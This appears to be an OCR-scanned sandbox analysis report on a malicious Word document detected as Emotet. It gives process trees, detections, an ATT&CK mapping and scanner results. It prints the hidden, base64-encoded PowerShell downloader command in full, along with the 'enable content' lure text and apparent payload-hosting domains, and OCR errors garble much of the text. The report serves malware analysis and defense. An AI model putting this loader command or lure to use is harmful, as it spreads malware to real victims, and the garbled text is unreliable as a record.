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Analysis Report 68254 2001.doc

Overview
General Information Detection Classification
Sample 68254_2001.doc
Name: MALICIOUS Antivirus detection for URL or domain
Analysis ID: 345226 Multi AV Scanner detection for dropp...
MDS: 72a3bbd36a5aa4.. Multi AV Scanner. detection for subm...
SHA1L:
6823096d389bd.. Office document tries to convince Vvi...
SHA256: 8c425fd958630a2.

Snort IDS alert for network traffic (e....
Most interesting Screenshot:

System process connects to networ...

Yara detected Emotet

Creates processes via WMI

m Document contains an embedded VB...
100

Score: Document contains an embedded VB...
Range: 0-100 Encrypted powershell cmdline option...
Whitelisted: false

Slela X Hides that the sample has been dow...
Confidence: 100%
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Startup

= System is w7x64

. WINWORD.EXE (PID: 2268 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2412 cmdline: cmd cmd /c m"s"g %username% /v Wo”rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs*heMI" -w hi*dd”en -*e”nc IAAgACQ
AOQBNAHMANgAzZACAAPQAJAFSAVABSAFAAZQBAACYAIgB7ADAATQB7ADIAfQB7ADEAfQB7ADMAFQAIACAALQBMACAAIWBTAFKACWBOAEUAIJWASACCATWAUAEQ
AaQBYAGUAYWANACWAIWBIAC4ASQANACWAIWBOAEBACgBZACCAKQA7ACAAIABTAEUAJAAIAHYAQQBYAEKAQQBCAGWAZQAJAHKAUQBLAGOAdJAAGACAAKAAGACA
AWWBUAHKAUABFAFOAKAAIAHSAMABIAHSANQBIAHSANWBIAHSANABIAHSAOABIAHSAMQBIAHSANGBIAHSAMWBIAHSAMYBIACIALQBMACCAUWBZAFMAIWASACC
ASQBDAGUACABVAEKAbgBUACCALAANAGUAUgANACWAIWBBAECAIWASACCALGBTAGUAUgANACWAIWBOAEUATQAUAE4AZQANACWAIWBIAEEATgANACWAIWBUACC
ALAANAFYAJWAPACAAKQA7ACAAIJABCAGIAMgB1ADIAYWASADOAJABYADIANWBGACAAKWAQAFSAYWBOAGEACgBAACYJANgAOACKAIAATACAAJABaADEAMgBHADS
AJABSADgANABGADOAKAANAFEAMgANACSAIWAWAEWAIWAPADSAIAAgACJAIAAGAGMAaABPAEWAZABPAHQAZQBIACAAdgBhAFIAaQBhAGIADABIADOAOQBNAFM
ANgAZzACKALgB2AGEADABLIAEUAOQABACIAYWBYAEUAYQBOAEUAYABEAEKAYABSAGUAYWBUAEBAUgB5ACIAKAAKAEGATWBNAEUAIAATACAAKAACACCAVWANACS
AIWAWAGYAIWArACCATWANACSAIWBJAGOAIWArACCAZABFACCAKWANAGSAIWArACgAIWBIAFCAMAANACSAIJWBMACCAKQArACgAIWBRAHEAAWA4AGAAYgANACSAIWBOAFCA]
WArACCAMABMACCAKQAPAC4AIgBSAEUAYABWAEWAY QBJAEUAIgAOACJAWWBDAEgGAQQBSAFOAOAA3ACSAWWBDAEgJAQQBSAFOANAALAACSAWWBDAEgAQQBSAFOAM
QAWADIAKQASACCAXAANACKAKQAPADSAJABNADYANWBOADOAKAACACCATQANACSAIWAYADKAIWAPACSAIWBEACCAKQA7ACAAIAAKAFKAUQBLAEOAJAABADOAI
gBzZAEUAQWBgAFUAYABSAEKAJABJAFKAUABYAGBAdABJAEBAYWBVAGWAIGAgADOAIAAOACCAVAANACSAKAANAGWAIWATIACCACWAXADIAJWAPACKAOWAKAEWAM
QAWAEIAPQA0ACCAUAANACSAKAANADYAOAANACSAIWBSACCAKQAPADSAJABVAHOAaQAXAGJAMQBXACAAPQAJACIAIWBBACCAKWAOACCAMWAWACCAKWANAEYAJ
WAPACKAOWAKAEWANQALAEBAPQAOACCAVAANACSAKAANADY ANWANACSAIWBZACCAKQAPADSAJABSAGQAJABhAGWANAB2ADOAJABIAESBATQBFACSAKAAOACCAe
WAWAHOATWBJAGOAIWArACCAZAANACSAIWBFAGSAZQB7ACCAKWANADAATQBRAHEAIJWArACGAIWB3ACCAKWANADgAbgBIACCAKQArACCAaAANACSAIWB7ADAATQANACKALQB
GAFsAQWBOAGEAUgBJADKAMgAPACSAJABVAHOAaAQAXAGYJAMQBXACSAKAANACAAZAANACSAIWBSAGWAIWAPADSAJABMADCAMgBRADOAKAANAFGANAANACSAIWB
fAFMAJWAPADSAJABOAHMAegBvADgAaQAXADOAKAANAHMAZWANACSAKAANACAAeQB3ACCAKWANACAAY QANACKAKWAOACCAaAABACBALWBIAGUAJAANACSAIWB
VAHIAIJWArACcAZQANACKAKWAOACCACWBIACCAKWANAHQAIWAPACSAKAANAGOAIWArACCAZQAUAGMAbWBIACBAIWAPACSAKAANAHCAIWArACCACAALACCAKQATACgAIWBIA
CcAKWANAG8AbgANACKAKWANAHQAJWATIACCAZQANACSAKAANAGAAdAANACSAIWAVAFIAawANACKAKWANADQACgANACSAIWBEACBAIWArACgAIWBAAHMAIWATA
CcAZWAgAHKAAWANACSAIJWAJAGEAJWAPACSAIWBOACCAKWANADOALWANACSAIJWAVAGKAIJWATACgAIWBUAHQAZQANACSAIWBSAGWAaQANACKAKWANAHMAJIWATA
CgAJwBhACcAKWANAHYAdgB5AC4AYWANACKAKWANAG8AIWArACCAbQAVACCAKWAOACCAdWBWACCAKWANACOAIWAPACSAKAANAGEAZABtAGKAbgANACSAIWAVA
GQAJIWArACcAUgANACKAKWANAGEARWANACSAKAANADIASAANACSAIWAVAEAACWBNACCAKQATACCAIAANACSAKAANAHKAIWATACCAdWAgACCAKQArACgAIJWBhACCAKWANAGY
AcwWABACCAKQArACCcALWANACSAIWAVAGOAIWArACgAIWBYAHYAJWArACCAZQANACSAIWBNAGCcAeQAUAGMAIWAPACSAKAANAGBAIWATACCAbQAVACCAKQAIrACE
AdwBWACCAKWAOACCALQBhAGQAbBQANACSAIWBPACCAKQArACgAIWBUACBAIJWArACCAbgANACKAKWANACBAQAANACSAIJWBZACCAKWANAGCAIAANACSAKAANAHK
AdwAgAGEAaABzACCcAKWANADOALWAVAGGAIWATrACCAYgANACKAKWANAHAACgGANACSAKAANAGKAdgBpAGWAZQANACSAIWBNACCAKWANAGUAZAANACKAKWAOACC
ALgBJAGB8AbBQANACSAIWAVAGMAIWArACcAZWBpACCAKWANACOAYgBpAGAALWBRACCAKQArACgAIWBNACCAKWANACBAQAANACKAKWAOACCACWANACSAIWBNACA
AIWAPACSAIWB5AHCAIWAIACgAIWAJAGEAaABzADOAIJWArACCALWANACKAKWAOACCALWBOAGIAZQBVACCAKWANACAAIWAPACSAIWBKACCAKWAOACCAaQBNACC
AKWANAGKAIWAPACSAKAANAHQAY QBSACCAKWANACBAdWANACKAKWAOACCACAANACSAIWAIAGEAZAANACSAIWBIAGKAbgANACKAKWAOACCALWANACsAJwBaAHkK
AbAANACKAKWANADIAIWArACgAIWAVAEAAIWArACCACWANACKAKWANAGCAIAANACSAKAANAHKADWAGAGEAaAANACSAIwWBZADOAIWArACCALWAVAHUAIWAPACSAIWBIAGOAJ
WArACcAYQBoACCAKWANAHMAJIWArACgAJWBOAGEAJWATrACcAcgBzAC4AIWAPACSAKAANAGMAIWAIACCAbwBtACBAIWAPACSAIWBhACCAKWANAHAACAANACSAIWBIACCAKWA
NAG8AbAANACSAIWBKACCAKWANAFBADBQANACSAIWBhACCAKWAOACCcAeQBfACCAKWANADIAIWAPACSAIWAWACCAKWANADEAOAANACSAIWAVAGEAIJWArACgAIWB
ZAHMAZQBOACCAKWANAHMAJIWAPACSAKAANACBAIWArACCAdWBEAEWAOAB4ACBAQABZAGCAIWArACCAIAANACKAKWAOACCAeQB3ACCAKWANACAAY QBOAHMAOQA
VACCAKQArACCALWB3ACCAKWANAHCAIWArACgAIWB3ACAAdAANACSAIWBIAGUAIWAPACSAKAANAGWAZQANACSAIWBIAGQAZQBKACCAKQAIrACCALYBJACCAKWAOACCAbWBLA
CcAKWANAC8AYWANACKAKWAOACCAZWBPACOAYgANACSAIWBPACCAKQArACgAIWBUACCAKWANACBATAANACKAKWAOACCAUAANACSAIWBVACBAIWAPACKALGAIAFIAYABIAFA
AbABhAEMARQAIACJAKAAOACCACWBNACCAKWANACAAeQB3ACCAKQArACYAIWAJAGEAIWAIACCAaAANACKAKQASACYJAWWBhAHIACgBhAHKAXQAOACYAKAANAGQ
AcwBIACcAKWANAHCAIWAPACSAIWBMACCAKQASACgAKAANAHCAZQANACSAIWB2ACCAKQArACCcAdwBIACCAKQAPACWAKAAOACCAY QANACSAIWBIAGYAJWAPACS
AIWBMACCAKQASACJAKAANAGYAJAANACSAIWBOACCAKQArACCACAANACKAKQBbBADIAXQAPACAAIgBTAFAADABYAEKAVAAIACJAJABRADAANABQACAAKWAJACQ
AQgBIADIAdQAYAGMAOQAGACSAIAAKAEUANgAYAFgAKQA7ACQARWA3ADQAWAASACYJAKAANAEMAOAANACSAIWAZACCAK QArACCARAANACKAOWBMAGBACYBIAGE
AYWBOACAAKAAKAFYAegB2ADMAMgBKADIAIABpPAG4AIAAKAE4ACWBBAGBAOABPADEAKQB7AHQACYB5AHSAKAAUACGAIWBOAGUAIWArACCAdWALAEBAYgBJACC
AKWANAGUAYWANACSAIWBOACCAKQAJAFMAeQBzAFQARQBNAC4AbgBIAHQALYB3AGUAQYBDAEWASQBIAGAAJAAPACAAIgBEAGBAYAB3AGAATYIBSAGBAYABBAEQ
ARgBJAEWARQAIACgJAJABWAHOAdgAZADIAZAAYACWAIAAKAFIAZABOAGEADAAOAHYAKQA7ZACQAWAA2AFBAVQAIACIAIWBBACCAKWAOACCANAAXACCAKWANAEU
AIWAPACKAOWBIAGYAIAACACYALJAOACCARWANACSAIWBIAHQALQBJAHQAZQBIACCAKQAJACQAUGBKAHQAY QBSADQAAgAPACAAIgBSAGAARQBUAGCAdABIACIAIAAIAGCAZ
QAgADQAMWAXADMAMgAPACAAeWAUACgAIWBYAHUADbgBKAGWADAANACSAIWAZADIAIWAPACAAIABSAGQAJABhAGWANAB2ACWAKAAOACCAQQBUAHKAUWANACSAJ
WBOAHIAJWAPACSAIWBPACCAKWANAGAAZWANACKALGAIAFQATWBJAFMAVABYAGAASQBUAGCAIgAOACKAOWAKAEYAMgBfAFKAPQAOACCAQWANACSAKAANADAAT
WArACCAMWBWACCAKQAPADsSAYgBYAGUAYQBrADsAJABLADgAOQBaADOAKAANAECAMWANACSAIWA2AEWAIWAPAHOATQBJAGEAdABJAGgAeWBIAHOAJABDADAAM
ABLADOAKAANAFgAJWArACgAIWA2ADUAIWAIACCASAANACKAKQA= MD5: 5746BD7E255DD6ABAFAO06F7C42C1BA41)
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e [ msg.exe (PID: 1776 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 3 powershell.exe (PID: 2484 cmdline: powershell -w hidden -enc IAAGACQAOQBNAHMANgAZACAAPQAQAFSAVABSAFAAZQBAIACgAIgB7ADAATQB7ADIAQB7
ADEAfQB7ADMAFQAIACAALQBMACAAIWBTAFKACWBOAEUAIWASACCATWAUAEQAAQBYAGUAYWANACWAJIWBIACAASQANACWAIWBOAEBACYBZACCAKQATACAAIABT
AEUAJAAIAHYAQQBYAEKAQQBCAGWAZQAJAHKAUQBLAGOAJAAgACAAKAAGACAAWWBUAHKAUABFAFOAKAAIAHSAMAB9AHSANQBIAHSANWBIAHSANABIAHSAOABY
AHsSAMQB9AHSANgB9AHSAMWBIAHSAMgBIACIALQBMACCAUWBZAFMAIWASACCASQBDAGUACABVAEKAbgBUACCALAANAGUAUGANACWAIWBBAECAIWASACCALGBT
AGUAUgANACWAIWBOAEUATQAUAE4AZQANACWAIWBIAEEATgANACWAIWBUACCALAANAFYAJWAPACAAKQA7ACAAIABCAGIAMgB1ADIAYWASADOAJABYADIANWBG
ACAAKWAgAFSAYWBOAGEAcgBdACJANgAOACKAIAATACAAJABaADEAMBHADSAJABSADgANABGADOAKAANAFEAMgANACSAIWAWAEWAIWAPADSAIAAGACIAIAAG
AGMAaABpAEWAZABPAHQAZQBtACAAdgBhAFIAaQBhAGIABABIADOAOQBNAFMANgAZACKALGB2AGEADABLAEUAOGABACIAYWBYAEUAYQBOAEUAYABEAEKAYABS
AGUAYWBUAESAUgB5ACIAKAAKAEgATWBNAEUAIAArACAAKAAOACCAVWANACSAIWAWAGYAIWArACCATWANACSAIWBJAGOAIWArACCAZ ABFACCAKWANAGSAIWAT
ACgAIWBIAFCAMAANACSAIWBMACCAKQArACgAIWBRAHEAdWA4AGAAYgANACSAIWBOAFCAIWAIACCAMABMACCAKQAPACAAIgBSAEUAY ABWAEWAY QBJAEUAIgAO
ACgAWWBDAEgAQQBSAFOAOAA3ACSAWWBDAEgAQQBSAFOANAA4ACSAWWBDAEgAQQBSAFOAMQAWADIAKQASACCAXAANACKAKQAPADSAJABNADYANWBOADOAKAAO
ACCATQANACSAIWAYADKAIWAPACSAIWBEACCAKQA7ACAAIAAKAFKAUQBLAEOAJAABGADOAIgBZAEUAQWBgAFUAYABSAEKAJABYAFKAUABYAGBAJABJAESBAYWBY
AGWAIgAgADOAIAAOACCAVAANACSAKAANAGWAIWArACCACWAXADIAIWAPACKAOWAKAEWAMQAWAEIAPQAOACCAUAANACSAKAANADYAOAANACSAIWBSACCAKQAP
ADsAJABVAH0AaQAXAGIAMQBXACAAPQAJACJAIWBBACCAKWAOACCAMWAWACCAKWANAEY AJWAPACKAOWAKAEWANQALAEBAPQAOACCAVAANACSAKAANADYANWAN
ACsAIWBZACCAKQAPADSAJABSAGQAJABhAGWANAB2ADOAJABIAEBATQBFACSAKAAOACCAeWAWAHOATWBJAGOAIJWAIACCAZAANACSAIWBFAGSAZQB7ACCAKWAN
ADAAFQBRAHEAJWArACgAIWB3ACCAKWANADgAbgBIACCAKQAIrACCAaAANACSAIWB7ADAATQANACKALQBGAFSAQWBOAGEAUgBJADKAMYAPACSAJABVAHOAaQAX
AGYAMQBXACSAKAANACAAZAANACSAIWBSAGWAIWAPADSAJABMADCAMgBRADOAKAANAFGANAANACSAIWBFAFMAIWAPADSAJABOAHMAegBvADgAaQAXADOAKAAN
AHMAZWANACSAKAANACAAeQB3ACCAKWANACAAY QANACKAKWAOACCAaAABACBALWBIAGUAJAANACSAIWBVAHIAIWATACCAZQANACKAKWAOACCACWBIACCAKWAN
AHQAIWAPACSAKAANAGOAIWATACCAZQAUAGMAbWBLACBAIWAPACSAKAANAHCAIWAIACCACAAtACCAKQATACYAIWBJACCAKWANAGBABgANACKAKWANAHQAJIWAr
ACCcAZQANACSAKAANAGAAdAANACSAIWAVAFIAawANACKAKWANADQACgANACSAIJWBEACBAIWArACgAIWBAAHMAIWArACCAZWAJAHKAAWANACSAIJWAGAGEAIWAD
ACsAIJWBOACCAKWANADOALWANACSAIJWAVAGKAIJWArACgAIWBUAHQAZQANACSAIWBSAGWAaQANACKAKWANAHMAJIWArACgAIJWBhACCAKWANAHYAdgB5AC4AYWAN
ACKAKWANAG8AIWArACcAbQAVACCAKWAOACCAdwBWACCAKWANACOAIWAPACSAKAANAGEAZABIAGKAbgANACSAIWAVAGQAIWArACCAUgANACKAKWANAGEARWAN

ACsAKAANADIASAANACSAIJWAVAEAAcWBNACCAKQArACCAIAANACSAKAANAHKAIWArACCAdwAgGACCAKQArACgAIJWBhACCAKWANAGGACWABACCAKQAIrACCALWAN
ACsAIJWAVAGOAIWArACgAIwWBYAHYAIWArACCAZQANACSAIWBNAGCcAeQAUAGMAJIWAPACSAKAANAGBAIWATACCADQAVACCAKQArACcAdwBWACCAKWAOACCALQBhH
AGQAbQANACSAIWBpACCAKQArACgAIWBUACBAIWArACcAbgANACKAKWANACBAQAANACSAIWBZACCAKWANAGCAIAANACSAKAANAHKAJWAGAGEAaABZACCAKWAN
ADOALWAVAGgAJWArACcAYgANACKAKWANAHAACGANACSAKAANAGKAdgBpAGWAZQANACSAIWBNACCAKWANAGUAZAANACKAKWAOACCALYBJAGBAbDQANACSAIWAY
AGMAJIWArACcAZWBpACCAKWANACOAYgBpAGAALWBRACCAKQArACgAIWBNACCAKWANACBAQAANACKAKWAOACCACWANACSAIWBNACAAIWAPACSAIWBS5AHCAIWAST
ACgAIWAgGAGEAaABzADOAIWArACCALWANACKAKWAOACCALWBOAGGAZQBVACCAKWANACAAIWAPACSAIWBKACCAKWAOACCAaQBNACCAKWANAGKAIJWAPACSAKAAN
AHQAYQBsSACCcAKWANACBAdWANACKAKWAOACCACAANACSAIWAIAGEAZAANACSAIWBIAGKAbgANACKAKWAOACCALWANACSAIwBaAHKABAANACKAKWANADIAJWAr
ACgAIWAVAEAAIWArACCcACWANACKAKWANAGCAIAANACSAKAANAHKADWAGAGEAaAANACSAIwBZADOAIWArACCALWAVAHUAIWAPACSAIWBIAGOAIWATACCAYQBo
ACcAKWANAHMAJIWArACgAIWBOAGEAJWArACcAcgBzAC4AIWAPACSAKAANAGMAJIWArACcAbwBtACBAIWAPACSAIWBhACCAKWANAHAACAANACSAIJWBIACCAKWAN
AGBAbAANACSAIWBKACCAKWANAF8ADBQANACSAIWBhACCAKWAOACCAeQBFACCAKWANADIAIWAPACSAIWAWACCAKWANADEAOAANACSAIWAVAGEAJWArACgAIwBz
AHMAZQBOACCAKWANAHMAJIWAPACSAKAANACBAIWArACCAdWBEAEWAOABAACBAQABZAGCAIWAIACCAIAANACKAKWAOACCAeQB3ACCAKWANACAAY QBOAHMAOgAY
ACCAKQArACCALWB3ACCAKWANAHCAIWAIACGAIWB3ACAAdAANACSAIWBIAGUAIWAPACSAKAANAGWAZQANACSAIWBIAGQAZQBKACCAKQArACCALYBJACCAKWAD
ACcAbwBtACCAKWANACBAYWANACKAKWAOACCAZWBPACOAYJANACSAIWBPACCAKQATrACgAIWBUACCAKWANACBATAANACKAKWAOACCAUAANACSAIWBVACBAIWAD
ACKALgAIAFIAYABIAFAAbABhAEMARQAIACJAKAAOACCACWBNACCAKWANACAAeQB3ACCAKQAIrACGAIWAgAGEAIWArACCAAAANACKAKQASACgAWWBHhAHIACgBh
AHKAXQA0ACgAKAANAGQACWBIACCAKWANAHCAIWAPACSAIWBMACCAKQASACJAKAANAHCAZQANACSAIWB2ACCAKQAIrACCAdwBIACCAKQAPACWAKAAOACCAYQAN
ACsAIWBIAGYAIJWAPACSAIWBMACCAKQASACIAKAANAGYAJAANACSAIWBOACCAKQATACCACAANACKAKQBbDADIAXQAPACAAIgBTAFAADABYAEKAVAAIACGAJABR
ADAANABQACAAKWAJACQAQYBIADIAdQAYAGMAOQAJACSAIAAKAEUANgAYAFgAKQA7ACQARWA3ZADQAWAASACYAKAANAEMAOAANACSAIWAZACCAKQAIACCARAAN
ACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAFYAegB2ADMAMgBKADIAIABPAGAAIAAKAE4ACWBEAGBAOABPADEAKQB7AHQACGB5AHSAKAAUACGAIWBOAGUAIWAS
ACCAdWAIAEBAY gBgACCAKWANAGUAYWANACSAIWBOACCAKQAgAFMAeQBzAFQARQBNAC4AbgBIAHQALYB3AGUAQYBDAEWASQBIAG4AdAAPACAAIGBEAGBAYAB3
AGAATgBSAGBAYABBAEQARYBIJAEWARQAIACJAJABWAHOAdgAZADIAZAAYACWAIAAKAFIAZABOAGEADAAOAHYAKQA7TACQAWAA2AFBAVQAIACJAIWBBACCAKWAD
ACCANAAXACCAKWANAEUAIWAPACKAOWBIAGYAIAA0ACJALJAOACCARWANACSAIWBIAHQALQBIAHQAZQBIACCAKQAJACQAUGBKAHQAY QBSADQAJgAPACAAIgBs
AGAARQBUAGCAJABIACIAIAAtAGCAZQAGADQAMWAXADMAMIAPACAAeWAUACYAIWBYAHUAbgBKAGWADAANACSAIWAZADIAIWAPACAAIABSAGQAJABhAGWANAB2
ACWAKAAOACCAQQBUAHKAUWANACSAIWBOAHIAIJWAPACSAIWBPACCAKWANAGAAZWANACKALGAIAFQATWBJAFMAVABYAGAASQBUAGCAIgAOACKAOWAKAEYAMgBf
AFKAPQAO0ACCAQWANACSAKAANADAAIWATACCAMWBWACCAKQAPADSAYgBYAGUAY QBrADsAJABLADgAOQBaADOAKAANAECAMWANACSAIWA2AEWAIWAPAHOATQB;]
AGEAJABJAGgAewBIAHOAJABDADAAMABLADOAKAANAFGAIWArACGAIWA2ADUAIWArACCASAANACKAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2748 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\use\Ocmd_ke\Qqw8nbh\A30F.dIl AnyString MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2756 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\Ocmd_ke\Qqw8nbh\A30F.dIl AnyString MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2680 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dIl',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2908 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\eggmlweitpkpoyg.oym',EFdBQhtlp
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2460 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Fgtgesmysxdwyacz\eggmlweitpkpoyg.oym',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1324 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',EsalSiHxs MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2344 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\gqoakbojlblcm.udm',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000007.00000002.2124049424.0000000000200000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00000001.sdmp Emotet
00000008.00000002.2135634388.0000000010000000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00000001.sdmp Emotet
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Source

0000000C.00000002.2345582268.00000000001C0000.0000
0040.00000001.sdmp

0000000A.00000002.2161670466.0000000010000000.0000
0040.00000001.sdmp

0000000B.00000002.2168147039.00000000001E0000.0000
0040.00000001.sdmp

Unpacked PEs

Source

7.2.rundll32.exe.1e0000.0.raw.unpack
7.2.rundll32.exe.10000000.2.unpack
10.2.rundlI32.exe.10000000.3.unpack
8.2.rundll32.exe.10000000.3.unpack

10.2.rundlI32.exe.250000.1.raw.unpack

Sigma Overview

System Summary:

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings
Yara detected Joe Security

Emotet

Yara detected Joe Security

Emotet

Yara detected Joe Security

Emotet

Click to see the 13 entries

Description Author Strings
Yara detected Joe Security

Emotet

Yara detected Joe Security

Emotet

Yara detected Joe Security

Emotet

Yara detected Joe Security

Emotet

Yara detected Joe Security

JoeSecurity_Emotet

Emotet

Click to see the 31 entries

Signature Overview

@ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Compliance:

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Lowering of HIPS / PFW / Operating System Security Settings
@ Stealing of Sensitive Information
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Uses new MSVCR DlIs

Binary contains paths to debug symbols

=

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

]

E-Banking Fraud:

Yara detected Emotet

]

System Summary:

Office document tries to convince victim to disable security protection (e.g. to e le ActiveX or Macros)

Data Obfuscation:

]

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

= ‘]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

=

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Windows Path Process Disable or Modify os File and Directory Remote Archive Exfiltration  Ingress Tool E
Accounts Management Interception  Injection Tools Credential  Discovery Services Collected  Over Other Transfer In
Instrumentation Dumping Data Network N

Medium C
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Initial

Access Execution

Default Scripting
Accounts

Domain Exploitation for Client

Accounts Execution

Local Command and
Accounts Scripting

Interpreter

Cloud PowerShell
Accounts

Replication  Launchd
Through

Removable

Media

External Scheduled Task
Remote
Services

Drive-by Command and
Compromise Scripting Interpreter

Exploit PowerShell
Public-

Facing

Application

Behavior Graph

Copyright null 2021

Persistence

Boot or
Logon

Initialization

Scripts

Logon Script
(Windows)

Logon Script

(Mac)

Network

Logon Script

Rc.common

Startup
Items

Scheduled

Task/Job

At (Linux)

Privilege
Escalation

Boot or Logon
Initialization
Scripts

Logon Script

(Windows)

Logon Script
(Mac)

Network Logon

Script

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

Defense Evasion

Deobfuscate/Decode
Files or Information

Scripting

Obfuscated Files or
Information

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Hidden Files and
Directories

Rundii32 Y

Credential
Access

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Discovery

System Information

Discovery

Query Registry

Security Software

Discovery

Virtualization/Sandbox
Evasion

Process Discovery

Remote System
Discovery

Network Service
Scanning

System Network
Connections
Discovery

Lateral

Movement Collection Exfiltration
Remote Data from  Exfiltration
Desktop Removable Over
Protocol Media Bluetooth

SMB/Windows Data from  Automated
Admin Shares Network Exfiltration
Shared

Drive

Distributed Input Scheduled
Component Capture Transfer
Object Model

SSH Keylogging Data
Transfer
Size Limits
VNC GUI Input  Exfiltration
Capture Over C2
Channel
Windows Web Portal Exfiltration
Remote Capture Over
Management Alternative
Protocol
Shared Credential  Exfiltration
Webroot API Over
Hooking Symmetric
Encrypted
Non-C2
Protocol
Software Data Exfiltration
Deployment  Staged Over
Tools Asymmetric
Encrypted
Non-C2
Protocol

Command N
and Control E
Encrypted E
Channel R

C
Non-Standard E
Port T

L«
Non- S

Application S
Layer
Protocol

Application M

Layer D
Protocol C
Multiband Ji
Communication D

S
Commonly R
Used Port A

Application D
Layer Protocol In

Web Protocols R
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

. .
a G
EE =
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Wl 9 - 0= 68254 2001 [Compatibility Mode] - Microsoft Word
Home | Insert  Pagelayout  References  Mailings  Review  View

& cut = A x| As : S @4 Find ~
Ba Copy 2 = 4 aaBbceDe AaBbced AaBb( AaBbC: AaBb( AaBbccl & 2, Replace
ange

Paste 3 = T Non THC : B ubtitle
¢ Fomatpainter | B 4 U ke X X = Normal  THo g sading Title Subtitle Shonde | Iy select -

Clipboard ! Font Paragraph Editing

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 3,934 | & ‘

8:59 PM
1/27/2011

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Detection Scanner Label Link Download

o
c
=
[2]
(]
e
QD
Q
[}
[
[N
[e]
=
a1
w
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https://www.virustotal.com/gui/file/8c425fd958630a27d8ad158e21c4fc627c6b594931da974faf655707d6e06ea2/detection/f-8c425fd958630a27d8ad158e21c4fc627c6b594931da974faf655707d6e06ea2-1611226189
https://www.metadefender.com/#!/results/file/bzIxMDEyMnpLc3JMdko2VnBUS1JxalF5S1FM/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDEyNW1HaWpOaHFLbXVxREhlYUVJa1Q/regular/analysis

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp:/focsp.sectigo.com0 0% URL Reputation safe
hitp:/focsp.sectigo.com0 0% URL Reputation safe
hitp:/focsp.sectigo.com0 0% URL Reputation safe
hitp://https://hbprivileged.comhB 0% Avira URL Cloud safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://https://Jummahstars.com 0% Avira URL Cloud safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://https://intellisavvy.com 0% Avira URL Cloud safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
